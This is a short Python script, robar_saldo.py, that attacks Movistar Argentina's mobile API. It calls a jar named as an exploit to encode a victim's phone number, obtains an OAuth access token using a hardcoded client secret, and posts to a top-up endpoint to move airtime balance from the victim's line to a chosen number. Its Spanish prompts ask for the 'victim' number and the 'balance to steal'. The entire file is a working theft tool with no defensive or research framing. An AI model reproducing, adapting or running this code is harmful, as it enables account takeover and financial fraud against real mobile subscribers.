robar_saldo.py

#!/usr/bin/env python3

import subprocess

import requests

MOVISTAR_API_ROOT = "https://mi.movistar.com.ar/"


def get_token(numero):
    headers = {
        "x-requested-with": "com.services.movistar.ar",
        "Content-Type": "application/x-www-form-urlencoded"
    }

    encoded_number = subprocess.getoutput(
        "java -jar Movistar_Exploit_V2-1.0-SNAPSHOT-jar-with-dependencies.jar %s" % numero)

    print("Numero codificado: %s" % encoded_number)

    data = {
        "grant_type": "mobile",
        "username": encoded_number,
        "client_id": "appcontainer",
        "client_secret": "YXBwY29udGFpbmVy"
    }

    r = requests.post(
        url=MOVISTAR_API_ROOT + "oauth/token",
        headers=headers,
        data=data
    )

    if r.status_code == requests.codes.ok:

        parsed_response = r.json()
        token = parsed_response["access_token"]
        print("Token: %s" % token)
        return token

    else:
        print("Error 1")

    return None


def robar_saldo(token, saldo, destino):
    headers = {
        "Authorization": "Bearer %s" % token,
        "Content-Type": "application/json"
    }

    body = {
        'amount': saldo,
        'destination': destino
    }

    url = MOVISTAR_API_ROOT + "v1/recarga/cargamesaldo"
    print("Posting request to: %s" % url)
    r = requests.post(url,
                      headers=headers,
                      json=body)

    print("Response: %s" % r.json())


def main():
    telefono = input("Ingrese el numero de telefono victima: ")

    destino = input("Ingrese el numero de telefono destino: ")

    saldo = input("Ingrese el saldo a robar: ")

    try:
        token = get_token(telefono)
        if token is not None:
            robar_saldo(token, saldo, destino)
    except:
        print("Error al robar $%i de %i" % (saldo, telefono))


if __name__ == "__main__":
    main()